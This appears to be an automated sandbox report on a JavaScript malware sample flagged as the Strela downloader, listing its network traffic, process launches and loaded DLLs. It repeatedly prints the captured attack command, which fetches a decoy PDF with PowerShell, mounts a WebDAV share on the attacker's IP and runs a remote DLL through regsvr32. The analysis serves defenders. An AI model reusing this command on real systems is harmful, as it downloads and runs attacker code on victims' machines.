4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2069276654.0000024BEEE50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2133138345.000001F2B7489000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2129666686.000001F2B74A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.2131976442.000001F2B7489000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2133138345.000001F2B7489000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/ad
Source: net.exe, 00000007.00000003.2131976442.000001F2B7489000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2133138345.000001F2B7489000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/ed
Source: net.exe, 00000007.00000002.2133010394.000001F2B7458000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/space.
Source: svchost.exe, 00000009.00000002.3350902914.00000225A5800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2132908439.00000225A5620000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1848, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 244188544238313090.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7108

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6488:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dxg0fh1d.maf.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 244188544238313090.js	ReversingLabs: Detection: 15%
Source: 244188544238313090.js	Virustotal: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244188544238313090.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1372,i,16510586454391097802,4470097566630698236,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1372,i,16510586454391097802,4470097566630698236,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
